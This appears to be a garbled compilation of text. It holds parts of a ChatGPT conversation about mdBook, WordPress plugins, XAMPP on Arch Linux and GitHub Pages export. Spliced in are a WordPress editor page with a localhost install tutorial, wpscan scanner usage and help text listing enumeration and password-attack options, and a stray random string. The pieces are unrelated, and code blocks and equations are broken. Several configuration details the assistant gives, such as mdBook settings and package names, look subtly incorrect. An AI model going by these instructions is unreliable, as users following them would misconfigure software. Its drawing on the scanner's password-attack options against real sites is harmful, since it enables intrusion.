    • If the SUMMARY.md file doesn't exist, create it manually in the src directory.
    • The structure of the SUMMARY.md file typically defines the main navigation and the pages available in the documentation.

    Example SUMMARY.md:

    markdown

    Copy

    # Summary - [Introduction](./introduction.md) - [Getting Started](./getting-started.md) - [Advanced Guides](./advanced-guides.md) - [Reference](./reference.md)

    In this case:

    • Make sure that introduction.mdgetting-started.mdadvanced-guides.md, and reference.md exist in the same directory as the SUMMARY.md file or modify the paths accordingly.
  3. Check Your Directory Structure: Ensure that your directory structure looks something like this:

    plaintext

    Copy

    /home/dante/Documents/Obsidian Vault/ └── src/ ├── SUMMARY.md ├── introduction.md ├── getting-started.md ├── advanced-guides.md └── reference.md

    • If your project is set up in a different way, you can move or copy the SUMMARY.md file into the correct directory.
  4. Run mdbook serve Again: After ensuring the SUMMARY.md file exists in the src directory, run:

    bash

    Copy

    mdbook serve

    This will start a local server, and you should be able to access the documentation at http://localhost:3000.


Additional Notes:

  • File Path: If you're using Obsidian or any other system where your files are structured in a specific way, make sure that the paths in SUMMARY.md correctly reference the Markdown files.
  • Permissions: Double-check if there are any permission issues preventing mdBook from reading the SUMMARY.md file.

Let me know if this resolves the issue or if you need further assistance!

##### You said:

how do i add plugins for markdown editing ,code editing and math ajax plugins

###### ChatGPT said:

To enhance your Markdown editing, code editing, and math rendering experience while using **mdBook** (or any other Markdown-based workflow), you’ll need to incorporate the appropriate plugins or features that provide such functionality. I'll walk you through setting up **Markdown editing**, **code editing**, and **Math rendering** plugins for a **local Markdown environment** (like the one you're using with `mdBook`).

### 1. **Markdown Editing Plugins**

For Markdown editing itself, `mdBook` uses **markdown-it** under the hood to render the Markdown files. If you want better editing support (syntax highlighting, previews, etc.), you’ll typically rely on your **IDE** or **editor**.

#### Recommended Markdown Editing Plugins for Text Editors:

- **Visual Studio Code**:
    - **Markdown All in One**: Provides a comprehensive suite of tools for editing Markdown, including live previews, table of contents, auto-preview, etc.
        - Install via the VS Code extensions marketplace.
    - **Markdown Preview Enhanced**: Provides a live preview for Markdown files with support for LaTeX math, diagrams, and more.
- **Vim**:
    - **vim-markdown**: Provides syntax highlighting and folding for Markdown files.
    - **vim-pandoc**: Extends Vim’s functionality with Pandoc for converting Markdown to other formats.
- **Obsidian** (Markdown-based, can be used to manage and write your docs):
    - It has a built-in preview and rendering system for Markdown.

If you're editing in **mdBook**, you can just edit the raw `.md` files directly using any of the above tools, and the Markdown is then compiled into HTML when you build the book.

---

### 2. **Code Editing / Syntax Highlighting Plugins**

For adding **syntax highlighting** and a better experience for code blocks in your Markdown files, `mdBook` relies on **highlight.js** by default. However, you can extend or configure this further.

#### Enabling Code Syntax Highlighting in `mdBook`:

`mdBook` uses **highlight.js** by default for syntax highlighting. Here's how to ensure it’s working or customize it:

1. **Install mdBook** (if you haven't already):
    
    bash
    
    Copy
    
    `cargo install mdbook`
    
2. **Check `book.toml`**: In your `book.toml` configuration file, ensure you have the syntax highlighting options set. You can customize themes and how highlighting works by adjusting the `mdbook` configuration.
    
    toml
    
    Copy
    
    `[output.html] highlight-theme = "solarized-dark"  # You can change this to your preferred theme`
    
3. **Customizing the Syntax Highlighting Theme**: You can select different themes for code syntax highlighting by setting `highlight-theme`. Themes available by default include:
    
    - `github`
    - `solarized-light`
    - `solarized-dark`
    - `monokai`
    
    Example of setting this in `book.toml`:
    
    toml
    
    Copy
    
    `[output.html] highlight-theme = "monokai"`
    
4. **Add Syntax Highlighting Support** (Optional): If you want extra customization or language support, you can extend the **highlight.js** library used by `mdBook`. You can add or change themes by modifying `mdBook`'s JavaScript and CSS files or using custom templates.
    

---

### 3. **Math Rendering with MathJax**

To add **MathJax** support for rendering LaTeX math in Markdown files (for inline or block equations), you'll need to integrate **MathJax** into your `mdBook` setup.

#### Enabling MathJax in `mdBook`:

1. **Install MathJax**: `mdBook` supports MathJax for rendering LaTeX math, but you’ll need to ensure it's configured in the `book.toml` file.
    
2. **Configure MathJax** in `book.toml`: In the `book.toml` file, ensure that you enable **MathJax** for rendering LaTeX math.
    
    toml
    
    Copy
    
    `[output.html] mathjax = true  # Enable MathJax rendering`
    
    This will allow you to write inline LaTeX math with `$...$` for inline math or `$$...$$` for block math, and MathJax will render it correctly in the HTML output.
    
3. **Write Math in Markdown**: Use the typical LaTeX syntax for math expressions in your `.md` files. For example:
    
    - **Inline math**:
        
        markdown
        
        Copy
        
        `This is an inline math formula: $E = mc^2$.`
        
    - **Block math**:
        
        markdown
        
        Copy
        
        `$$  E = mc^2  $$`
        
    
    After running `mdBook` and generating the HTML output, your math will be rendered properly in the browser.
    

---

### 4. **Testing and Building Your Book with `mdBook`**

Once you’ve configured your Markdown, code, and math settings, you can build your book to view the changes. Run the following command:

bash

Copy

`mdbook serve`

This command will generate your book locally and serve it on `http://localhost:3000`. Check the rendered output to ensure that:

- **Markdown** renders properly.
- **Code blocks** are highlighted as expected.
- **Math equations** are rendered correctly via MathJax.

---

### Optional Advanced Customizations

If you want even more control over the appearance or behavior, you can modify the `mdBook` template by copying the default template files and editing them:

4. **Create a Custom Theme**: You can override the default HTML/CSS templates used by `mdBook` to fully customize the rendering of your site, including the appearance of math equations and code blocks. You’ll find documentation on customizing the theme in the mdBook documentation.
    
5. **JavaScript and CSS Customizations**: If you're comfortable with front-end development, you can add custom JavaScript (e.g., to modify the behavior of MathJax or highlight.js) or CSS styles to match your preferred look.
    

---

### Conclusion

To add plugins for Markdown editing, code editing, and math rendering to your local `mdBook` setup:

6. **Markdown Editing**: Use plugins like **Markdown All in One** for VS Code or **vim-markdown** for Vim.
7. **Code Editing**: `mdBook` supports **syntax highlighting** via **highlight.js**, and you can configure this in `book.toml`.
8. **Math Rendering**: Enable **MathJax** in `book.toml` to render LaTeX math.

Once configured, run `mdBook serve` to generate and preview your static site locally. Let me know if you need further assistance!

Edit Post

About MEH! · Post Ctrl+K

Save

About MEH! Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

Download all in one WordPress cheat sheet

Why Install WordPress on Localhost How to Install WordPress on Localhost in 6 Steps

  1. Download XAMPP
  2. Install and Run XAMPP on Your Computer
  3. Download WordPress
  4. Create a Local Database
  5. Install WordPress on Localhost
  6. Check the Local Site You Built Why Install WordPress on Localhost When installing the WordPress CMS locally, the entire website is placed in a localhost environment. The website establishes a connection with a local machine using the loopback address network instead of going over the internet, hence the term “local.”

A localhost WordPress website allows web developers and designers to test features before implementing them on a live website. As a result, you can fix any bug immediately without affecting the user experience.

Users who want to learn about web development can also benefit from this WordPress version. You can create a copy of a live site on your own computer and use it for various testing processes without buying a hosting plan or a domain.

Looking to install WordPress on your web host? Check out our Complete WordPress Installation Guide

How to Install WordPress on Localhost in 6 Steps Various local server software options are available for creating a local WordPress site. In this step-by-step tutorial, we will use XAMPP ‒ the most popular cross-platform web server for PHP development.

  1. Download XAMPP Go to the official Apache Friends website and download the correct XAMPP software version based on your operating system.

Image Upload or drag an image file here, or pick one from your library. Upload Media Library Insert from URL 2. Install and Run XAMPP on Your Computer Run the XAMPP installer and follow the installation instructions using the default settings. If you see a pop-up indicating that your antivirus software might affect the installation process, click Yes to continue.

Image Upload or drag an image file here, or pick one from your library. Upload Media Library Insert from URL After installing XAMPP, run the application and configure the environment. In the XAMPP control panel, start Apache and MySQL modules to perform the WordPress localhost installation.

Image Upload or drag an image file here, or pick one from your library. Upload Media Library Insert from URL If you’re running on the Windows operating system, there’s a chance you might encounter the localhost refused to connect error. Disabling your firewall temporarily or stopping the program that uses port 80 should resolve this issue.

  1. Download WordPress Once the server is up and running, the next step is installing WordPress. Download the latest WordPress version, then extract the ZIP file.

Navigate to your XAMPP folder in the C drive (C:\xampp) and locate the htdocs folder. Upload the extracted WordPress files there. We recommend renaming the new folder with your website’s name to make web development on the XAMPP server easier.

  1. Create a Local Database Go back to your XAMPP control panel and select the Admin button of the MySQL module to launch phpMyAdmin ‒ an administration tool for managing MySQL and MariaDB databases. It will help you create a local MySQL database for the new website.

Open the Databases tab and enter the database name into the Create database section. Set the dropdown menu’s value to Collation and hit the Create button. Your new MySQL database should appear on the left sidebar of the web page.

Image Upload or drag an image file here, or pick one from your library. Upload Media Library Insert from URL 5. Install WordPress on Localhost Finish installing WordPress locally by visiting http://localhost/foldername via your browser. Don’t forget to change the “foldername” placeholder with the folder name you chose in the third step.

WordPress requires a list of information to build the localhost site. Fill in the database information as follows:

Database name ‒ the name of the database you created in phpMyAdmin. Username ‒ enter “root” as the default username. Password ‒ leave the MySQL database password field blank. Database host ‒ keep the default “localhost.” Table prefix ‒ keep the default “wp_.” Image Upload or drag an image file here, or pick one from your library. Upload Media Library Insert from URL Once done, hit Submit -> Run the installation. Fill in the additional information needed, like the site name and login credentials, and click on the Install WordPress button.

Image Upload or drag an image file here, or pick one from your library. Upload Media Library Insert from URL Pro Tip If you’re running on Windows or Linux, WordPress will automatically store this information in the wp-config.php file. WordPress will provide a code snippet for macOS users to replace the existing wp-config PHP file content.

  1. Check the Local Site You Built That’s it – your local test site is now ready. Go to http://localhost/foldername/wp-admin and use the login credentials you created in the previous step to access the WordPress dashboard.

Image Upload or drag an image file here, or pick one from your library. Upload Media Library Insert from URL Conclusion Running a WordPress installation requires a hosting plan and a domain name. However, if you only need it for testing or learning purposes, installing the CMS on localhost and storing all the data locally should meet your needs just fine.

Here’s a recap on how to install WordPress on a localhost environment:

Download XAMPP. Install XAMPP on your computer. Download the latest version of WordPress. Create a local database in phpMyAdmin. Install WordPress on localhost. Check the local test site via your browser. Open save panel Post NotificationsUpload or drag an image file here, or pick one from your library.

wpscan Usage Examples

Scan a target WordPress URL and enumerate any plugins that are installed:

root@kali:~# wpscan --url http://wordpress.local --enumerate p
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.6
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://wordpress.local/
[+] Started: Mon Jan 12 14:07:40 2015

[+] robots.txt available under: 'http://wordpress.local/robots.txt'
[+] Interesting entry from robots.txt: http://wordpress.local/search
[+] Interesting entry from robots.txt: http://wordpress.local/support/search.php
[+] Interesting entry from robots.txt: http://wordpress.local/extend/plugins/search.php
[+] Interesting entry from robots.txt: http://wordpress.local/plugins/search.php
[+] Interesting entry from robots.txt: http://wordpress.local/extend/themes/search.php
[+] Interesting entry from robots.txt: http://wordpress.local/themes/search.php
[+] Interesting entry from robots.txt: http://wordpress.local/support/rss
[+] Interesting entry from robots.txt: http://wordpress.local/archive/
[+] Interesting header: SERVER: nginx
[+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN
[+] Interesting header: X-NC: HIT lax 249
[+] XML-RPC Interface available under: http://wordpress.local/xmlrpc.php

[+] WordPress version 4.2-alpha-31168 identified from rss generator

[+] Enumerating installed plugins  ...

   Time: 00:00:35 <======================================================> (2166 / 2166) 100.00% Time: 00:00:35

[+] We found 2166 plugins:
[...]

Packages and Binaries:

wpscan

WPScan scans remote WordPress installations to find security issues.

Installed size: 396 KB
How to install: sudo apt install wpscan

Dependencies:

wpscan

WordPress Security Scanner

root@kali:~# wpscan -h
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

Usage: wpscan [options]
        --url URL                                 The URL of the blog to scan
                                                  Allowed Protocols: http, https
                                                  Default Protocol if none provided: http
                                                  This option is mandatory unless update or help or hh or version is/are supplied
    -h, --help                                    Display the simple help and exit
        --hh                                      Display the full help and exit
        --version                                 Display the version and exit
    -v, --verbose                                 Verbose mode
        --[no-]banner                             Whether or not to display the banner
                                                  Default: true
    -o, --output FILE                             Output to FILE
    -f, --format FORMAT                           Output results in the format supplied
                                                  Available choices: json, cli-no-colour, cli-no-color, cli
        --detection-mode MODE                     Default: mixed
                                                  Available choices: mixed, passive, aggressive
        --user-agent, --ua VALUE
        --random-user-agent, --rua                Use a random user-agent for each scan
        --http-auth login:password
    -t, --max-threads VALUE                       The max threads to use
                                                  Default: 5
        --throttle MilliSeconds                   Milliseconds to wait before doing another web request. If used, the max threads will be set to 1.
        --request-timeout SECONDS                 The request timeout in seconds
                                                  Default: 60
        --connect-timeout SECONDS                 The connection timeout in seconds
                                                  Default: 30
        --disable-tls-checks                      Disables SSL/TLS certificate verification, and downgrade to TLS1.0+ (requires cURL 7.66 for the latter)
        --proxy protocol://IP:port                Supported protocols depend on the cURL installed
        --proxy-auth login:password
        --cookie-string COOKIE                    Cookie string to use in requests, format: cookie1=value1[; cookie2=value2]
        --cookie-jar FILE-PATH                    File to read and write cookies
                                                  Default: /tmp/wpscan/cookie_jar.txt
        --force                                   Do not check if the target is running WordPress or returns a 403
        --[no-]update                             Whether or not to update the Database
        --api-token TOKEN                         The WPScan API Token to display vulnerability data, available at https://wpscan.com/profile
        --wp-content-dir DIR                      The wp-content directory if custom or not detected, such as "wp-content"
        --wp-plugins-dir DIR                      The plugins directory if custom or not detected, such as "wp-content/plugins"
    -e, --enumerate [OPTS]                        Enumeration Process
                                                  Available Choices:
                                                   vp   Vulnerable plugins
                                                   ap   All plugins
                                                   p    Popular plugins
                                                   vt   Vulnerable themes
                                                   at   All themes
                                                   t    Popular themes
                                                   tt   Timthumbs
                                                   cb   Config backups
                                                   dbe  Db exports
                                                   u    User IDs range. e.g: u1-5
                                                        Range separator to use: '-'
                                                        Value if no argument supplied: 1-10
                                                   m    Media IDs range. e.g m1-15
                                                        Note: Permalink setting must be set to "Plain" for those to be detected
                                                        Range separator to use: '-'
                                                        Value if no argument supplied: 1-100
                                                  Separator to use between the values: ','
                                                  Default: All Plugins, Config Backups
                                                  Value if no argument supplied: vp,vt,tt,cb,dbe,u,m
                                                  Incompatible choices (only one of each group/s can be used):
                                                   - vp, ap, p
                                                   - vt, at, t
        --exclude-content-based REGEXP_OR_STRING  Exclude all responses matching the Regexp (case insensitive) during parts of the enumeration.
                                                  Both the headers and body are checked. Regexp delimiters are not required.
        --plugins-detection MODE                  Use the supplied mode to enumerate Plugins.
                                                  Default: passive
                                                  Available choices: mixed, passive, aggressive
        --plugins-version-detection MODE          Use the supplied mode to check plugins' versions.
                                                  Default: mixed
                                                  Available choices: mixed, passive, aggressive
        --exclude-usernames REGEXP_OR_STRING      Exclude usernames matching the Regexp/string (case insensitive). Regexp delimiters are not required.
    -P, --passwords FILE-PATH                     List of passwords to use during the password attack.
                                                  If no --username/s option supplied, user enumeration will be run.
    -U, --usernames LIST                          List of usernames to use during the password attack.
                                                  Examples: 'a1', 'a1,a2,a3', '/tmp/a.txt'
        --multicall-max-passwords MAX_PWD         Maximum number of passwords to send by request with XMLRPC multicall
                                                  Default: 500
        --password-attack ATTACK                  Force the supplied attack to be used rather than automatically determining one.
                                                  Multicall will only work against WP < 4.4
                                                  Available choices: wp-login, xmlrpc, xmlrpc-multicall
        --login-uri URI                           The URI of the login page if different from /wp-login.php
        --stealthy                                Alias for --random-user-agent --detection-mode passive --plugins-version-detection passive

[!] To see full list of options use --hh.

2D&QBPh!y&e0OX6mCS Let me know how it goes or if you need further assistance!

Step 3: Enable the mysqli extension

Once you've installed PHP and the database, the mysqli extension should already be enabled by default. You can confirm this by checking the php.ini configuration.

  1. Open the php.ini file for editing:

    bash

    Copy

    sudo nano /etc/php/php.ini

  2. Search for the line:

    ini

    Copy

    ;extension=mysqli

  3. Uncomment the line by removing the semicolon (;):

    ini

    Copy

    extension=mysqli

  4. Save and exit the editor (Ctrl + O to save, Ctrl + X to exit).

To install WordPress on Linux using something like XAMPP (which provides Apache, MySQL, and PHP, all in one package), follow these steps:

1. Install XAMPP on Linux

XAMPP is an easy-to-install Apache distribution that includes MySQL, PHP, and Perl. Here's how to install it on Linux:

Step 1: Download XAMPP

  1. Visit the XAMPP download page.
  2. Choose the version of XAMPP for Linux and download the .run file (e.g., xampp-linux-x64-7.4.10-0-installer.run).

Step 2: Make the Installer Executable

Once you've downloaded the file, open a terminal and navigate to the folder where the installer was downloaded. Then, run the following command to make it executable:

bash

Copy

chmod +x xampp-linux-x64-<version>-installer.run

Replace <version> with the version number of the XAMPP installer you downloaded.

Step 3: Install XAMPP

Run the installer with sudo:

bash

Copy

sudo ./xampp-linux-x64-<version>-installer.run

Follow the on-screen instructions to install XAMPP. The default installation location will typically be /opt/lampp.


2. Start XAMPP

After installing XAMPP, you can start it by running:

bash

Copy

sudo /opt/lampp/lampp start

This will start the Apache server, MySQL database, and other necessary services.

To check if everything is running, you can open your browser and go to http://localhost. You should see the XAMPP dashboard.


3. Download and Install WordPress

Step 1: Download WordPress

Visit the official WordPress download page and download the latest version of WordPress.

Alternatively, you can download it using wget:

bash

Copy

wget https://wordpress.org/latest.tar.gz

Step 2: Extract WordPress

Once you've downloaded the WordPress archive, extract it:

bash

Copy

tar -xvzf latest.tar.gz

This will create a wordpress directory.

Step 3: Move WordPress to the XAMPP Web Directory

Move the wordpress directory to the XAMPP web server's root directory, typically /opt/lampp/htdocs:

bash

Copy

sudo mv wordpress /opt/lampp/htdocs/

Step 4: Set Permissions

To ensure that WordPress can write to certain directories (like the wp-content folder), you may need to set the correct file permissions:

bash

Copy

sudo chown -R daemon:daemon /opt/lampp/htdocs/wordpress


4. Create a MySQL Database for WordPress

WordPress needs a MySQL database to store its content.

Step 1: Access phpMyAdmin

Go to http://localhost/phpmyadmin in your browser. phpMyAdmin is a web interface for managing MySQL databases.

Step 2: Create a New Database

  1. In phpMyAdmin, click on Databases at the top.
  2. Under "Create database," enter a name for your database (e.g., wordpress_db) and click Create.

5. Configure WordPress

Step 1: Open WordPress in Your Browser

Go to http://localhost/wordpress. You should see the WordPress setup page.

Step 2: Enter Database Information

On the setup page, you'll need to provide the following database information:

  • Database Name: The name of the database you created (e.g., wordpress_db).
  • Usernameroot (default MySQL username for XAMPP).
  • Password: Leave it empty (default MySQL password for XAMPP).
  • Database Hostlocalhost
  • Table Prefix: Leave it as wp_ (or change it if you want).

Click Submit after entering this information.

Step 3: Complete the Installation

Follow the remaining steps to finish the installation. You will need to provide information like:

  • Site Title
  • Admin Username
  • Admin Password
  • Admin Email

Once done, click Install WordPress.


6. Access Your WordPress Site

After the installation is complete, you can log in to the admin area by going to:

plaintext

Copy

http://localhost/wordpress/wp-admin

Enter the username and password you set during the installation to access your WordPress dashboard.


7. Stop XAMPP When Done

When you're finished working with WordPress, you can stop XAMPP with the following command:

bash

Copy

sudo /opt/lampp/lampp stop


Summary of Steps:

  1. Install XAMPP on Linux.
  2. Start XAMPP and access the XAMPP dashboard.
  3. Download and extract WordPress.
  4. Move WordPress to the XAMPP web directory (/opt/lampp/htdocs).
  5. Create a MySQL database for WordPress using phpMyAdmin.
  6. Configure WordPress by providing the database details during installation.
  7. Log in to WordPress and start building your site.

Let me know if you need further help with any of these steps!

ChatGPT said:

Creating a local static website with WordPress and uploading it to GitHub Pages involves a few steps. Since GitHub Pages only supports static content (HTML, CSS, JavaScript, etc.), you’ll need to generate a static version of your WordPress site and then upload it to GitHub Pages.

Here’s how you can do it:

1. Create a WordPress Site Locally

To create your website locally, you can follow the steps I mentioned earlier for setting up WordPress with XAMPP. If you’ve already done that, proceed with the following steps.

  1. Install XAMPP on your local machine (Apache, MySQL, PHP).
  2. Download and Install WordPress.
  3. Set up WordPress with a theme, pages, posts, and any plugins you need.
  4. Customize the site to your liking (content, design, plugins, etc.).

Once your local WordPress site is ready and looks how you want it to, you can start exporting it as static content.


2. Generate Static HTML Files from WordPress

Since GitHub Pages only serves static files, you'll need to convert your dynamic WordPress site into static HTML files. There are a few ways to do this:

Option 1: Use a WordPress Plugin (e.g., Simply Static)

The easiest method is to use a WordPress plugin like Simply Static to generate static HTML files from your WordPress site.

Steps:

  1. Install the Simply Static plugin:

    • Go to your WordPress admin dashboard.
    • Navigate to Plugins > Add New.
    • Search for Simply Static, install, and activate it.
  2. Configure Simply Static:

    • After activation, go to Simply Static in the WordPress admin sidebar.
    • In the General Settings, set your export method (e.g., "Local Folder" to save the static files to your computer).
    • Choose other settings like excluding certain URLs if needed.
  3. Generate the static files:

    • Click Generate to create the static HTML files. The plugin will create a static version of your website, including all pages and media.
    • Once the process is complete, you’ll be able to download a ZIP file containing all the HTML, CSS, JS, and media files.

Option 2: Use a Website Scraper (e.g., HTTrack or Wget)

Alternatively, you can use tools like HTTrack or Wget to scrape your local WordPress site and generate static files.

  • HTTrack: This tool is available for Linux, Windows, and macOS, and it allows you to copy an entire website to your local machine.

  • Wget: This is a command-line tool that you can use to download the entire site and save it as static files.

Example with Wget:

bash

Copy

wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://localhost/wordpress

This will download all the files from your local WordPress site.


3. Upload the Static Site to GitHub Pages

Once you have the static files (HTML, CSS, JS, etc.), you can upload them to GitHub Pages. Follow these steps:

Step 1: Create a GitHub Repository

  1. Go to GitHub and log in or create an account if you don’t have one.
  2. Click the + icon in the top right corner and select New repository.
  3. Name the repository (e.g., my-static-website).
  4. Make the repository public (required for GitHub Pages).
  5. Initialize the repository with a README (optional).

Step 2: Upload the Files to GitHub

You can upload the static files either through the GitHub web interface or via Git (command-line method).

  • Using the GitHub Web Interface:

    1. In your GitHub repository, click the Add file button and select Upload files.
    2. Drag and drop all the files you got from Simply Static (or your scraping tool) into the upload area.
    3. Once all files are uploaded, click Commit changes.
  • Using Git (Command Line):

    1. In your terminal, navigate to the folder containing the static files.

    2. Initialize the Git repository and add the files:

      bash

      Copy

      git init git add . git commit -m "Initial commit of static site"

    3. Add the remote repository:

      bash

      Copy

      git remote add origin https://github.com/your-username/my-static-website.git

    4. Push the files to GitHub:

      bash

      Copy

      git push -u origin master

Step 3: Enable GitHub Pages

  1. In your GitHub repository, go to the Settings tab.

  2. Scroll down to the GitHub Pages section.

  3. Under Source, select main or master branch.

  4. GitHub will automatically generate a URL for your site, like:

    perl

    Copy

    https://your-username.github.io/my-static-website/

Step 4: Visit Your Site

Once GitHub Pages has been enabled, your static WordPress site will be available at the provided URL. You can access it via any browser.


4. Maintain Your Site

Whenever you update the content on your WordPress site (e.g., adding new pages or posts), you'll need to regenerate the static HTML files and upload them to GitHub Pages again.


Conclusion

To summarize, the process involves:

  1. Building your WordPress site locally using XAMPP or a similar tool.
  2. Generating static files using a plugin like Simply Static or a tool like HTTrack or Wget.
  3. Uploading the generated static files to GitHub using Git or the web interface.
  4. Enabling GitHub Pages for your repository to serve the site.

This approach allows you to use WordPress for content creation but serve the static version of the site via GitHub Pages. Let me know if you need more help with any part of the process!

ChatGPT said:

Ah, I see! You’re looking for plugins for WordPress to enhance the functionality of Markdown editingcode editing, and math rendering.

Here are the best plugins for each of those features:


1. Markdown Editing Plugins for WordPress

WordPress doesn’t natively support Markdown editing in the post editor, but there are plugins available that enable it.

  • Jetpack by WordPress.com:

    • Markdown Support: Jetpack adds Markdown support to your posts, so you can write Markdown directly in the WordPress post editor.
    • To enable Markdown:
      1. Install and activate the Jetpack plugin.
      2. Go to Jetpack Settings in the WordPress dashboard.
      3. Under the Writing section, enable Markdown.
  • WP-Markdown:

    • A simple plugin that enables Markdown syntax in the WordPress editor. It allows you to write posts in Markdown and then converts them to HTML on the fly.
    • Install and activate WP-Markdown from the plugin repository.
    • Once activated, you can write your posts using Markdown syntax, and they will automatically be converted.
  • Markdown on Save:

    • This plugin automatically converts Markdown into HTML whenever you save a post.
    • It works with the classic editor, so you can write in Markdown and save posts that will then render correctly.

2. Code Editing Plugins (Syntax Highlighting)

For displaying code blocks in your WordPress posts with proper syntax highlighting, you can use the following plugins:

  • Crayon Syntax Highlighter:

    • Crayon Syntax Highlighter is one of the most popular plugins for syntax highlighting. It supports various languages and allows you to customize how the code is displayed.
    • Features:
      • Auto-detects code language.
      • Supports themes and custom styles.
      • You can enable line numbers, collapsible code blocks, etc.
  • SyntaxHighlighter Evolved:

    • This plugin provides syntax highlighting for your code snippets. It supports many languages and integrates well with the WordPress block editor and classic editor.
    • Install and activate SyntaxHighlighter Evolved.
    • Use the [code] shortcode to wrap your code blocks, or the plugin will automatically format them.
  • Enlighter – Customizable Syntax Highlighter:

    • Enlighter adds rich code highlighting for your posts and supports a wide range of programming languages.
    • This plugin automatically detects and highlights code blocks and offers various styling options.
    • You can customize the look and feel of the code blocks with themes or CSS.

3. Math Rendering Plugins (MathJax / LaTeX)

If you want to include mathematical formulas (LaTeX) or equations in your WordPress posts, you'll need a plugin to render the math formulas correctly.

  • WP QuickLaTeX:

    • WP QuickLaTeX integrates LaTeX math into WordPress, allowing you to embed complex math equations in your posts.
    • It renders LaTeX into beautiful math formulas using QuickLaTeX.
    • Features:
      • Inline and block math support.
      • Supports LaTeX packages and custom styling.
  • MathJax-LaTeX:

    • This plugin integrates MathJax, which is a JavaScript display engine for LaTeX, into your WordPress posts.
    • It automatically detects LaTeX syntax in your posts and renders the math equations beautifully.
    • Features:
      • Inline math rendering.
      • Block math rendering.
      • Compatible with LaTeX and MathML.
  • KaTeX:

    • KaTeX is another LaTeX rendering plugin that is faster and more lightweight than MathJax.
    • It supports inline and block equations and has a simpler integration process compared to MathJax.
    • Features:
      • Fast rendering.
      • Supports both inline and display math.
      • Allows easy customization and styling.

How to Install Plugins in WordPress:

  1. From the Dashboard:
- Go to your WordPress **Dashboard**.
- Navigate to **Plugins > Add New**.
- Search for the plugin (e.g., "Jetpack", "Crayon Syntax Highlighter", etc.).
- Click **Install Now** and then **Activate** the plugin.
  1. Via Upload:
- If you have a plugin as a `.zip` file, you can upload it manually.
- Go to **Plugins > Add New**.
- Click **Upload Plugin** at the top.
- Choose your `.zip` file and click **Install Now**.

Example Use Case: Writing Math and Code

Once you have installed the appropriate plugins, here’s how you can write posts with code and math:

Markdown Code Block (Using Syntax Highlighter or Jetpack):

markdown

Copy

```python def add(a, b): return a + b

shell

Copy

#### LaTeX Equation (Using WP QuickLaTeX or MathJax): ```latex $$ E = mc^2 $$

Example with Markdown and Math (LaTeX and Code Blocks):

markdown

Copy

# Example Post This is an inline equation: $E = mc^2$. Below is a Python code example: ```python def add(a, b): return a + b

And here's a block equation:

∫0∞e−x2dx=π2∫0∞​e−x2dx=2π​​

markdown

Copy

When you publish this post, **MathJax** or **WP QuickLaTeX** will render the equations, and **Crayon Syntax Highlighter** or **SyntaxHighlighter Evolved** will highlight the code properly. --- ### Conclusion To enhance your WordPress experience with **Markdown editing**, **code syntax highlighting**, and **math rendering**: 1. Install a **Markdown plugin** like **Jetpack** or **WP-Markdown**. 2. Use a **code highlighting plugin** like **Crayon Syntax Highlighter** or **SyntaxHighlighter Evolved**. 3. Integrate **math rendering** with plugins like **WP QuickLaTeX**, **MathJax-LaTeX**, or **KaTeX**. These plugins will enable you to create rich, styled content on your WordPress site with Markdown, code blocks, and math equations. Let me know if you need more help with any of the plugins or setup!

You said:

2 ^C dante@Archie ~/Downloads $ sudo ./xampp-linux-x64-8.0.30-0-installer.run [sudo] password for dante: dante@Archie ~/Downloads $ sudo /opt/lampp/lampp start XAMPP is currently only availably as 32 bit application. Please use a 32 bit compatibility library for your system. dante@Archie ~/Downloads $ sudo /opt/lampp/lampp start XAMPP is currently only availably as 32 bit application. Please use a 32 bit compatibility library for your system.

ChatGPT said:

It seems like you're encountering an issue where XAMPP is giving an error message related to 32-bit compatibility libraries. This happens because XAMPP for Linux is built as a 32-bit application, and on a 64-bit system like yours, you might need to install certain libraries to make it work.

Solution: Installing 32-bit Compatibility Libraries on Arch Linux

To resolve this, you need to install 32-bit compatibility libraries on your system. On Arch Linux, these are provided through the lib32 packages.

Follow these steps to resolve the issue:

1. Enable Multilib Repository (if not already done)

Ensure the multilib repository is enabled in your system. This repository contains 32-bit libraries for 64-bit systems.

  1. Open the /etc/pacman.conf file in a text editor:
bash

Copy

`sudo nano /etc/pacman.conf`
  1. Find the [multilib] section and make sure it is not commented out (remove the # if it’s there). It should look like this:
ini

Copy

`[multilib] Include = /etc/pacman.d/mirrorlist`
  1. Save the file and close the text editor (Ctrl + X to exit, then press Y to confirm).

  2. Update your package list:

bash

Copy

`sudo pacman -Syu`

2. Install 32-bit Libraries

Now you need to install the 32-bit compatibility libraries required by XAMPP.

  1. Install the lib32 libraries:
bash

Copy

`sudo pacman -S lib32-glibc`
  1. Additionally, you might need to install other 32-bit libraries such as:
bash

Copy

`sudo pacman -S lib32-gtk2 lib32-libx11 lib32-alsa-lib`

3. Start XAMPP Again

Now that the necessary libraries are installed, try starting XAMPP again:

bash

Copy

sudo /opt/lampp/lampp start

This should now work without the 32-bit compatibility error.


Alternative: Using a Native 64-bit LAMP Stack

If you're still facing issues or prefer not to deal with compatibility layers, you could consider using a native LAMP stack (Linux, Apache, MySQL, PHP) with 64-bit support. This would involve installing Apache, MySQL, and PHP directly on your system instead of using XAMPP.

  1. Install Apache:
bash

Copy

`sudo pacman -S apache`
  1. Install MySQL (or MariaDB as an alternative):
bash

Copy

`sudo pacman -S mariadb`
  1. Install PHP:
bash

Copy

`sudo pacman -S php php-apache php-mysqli`
  1. Configure Apache to work with PHP (you'll need to adjust the Apache configuration to work with PHP, but this can be done easily by modifying /etc/httpd/conf/httpd.conf).

  2. Start the Services:

bash

Copy

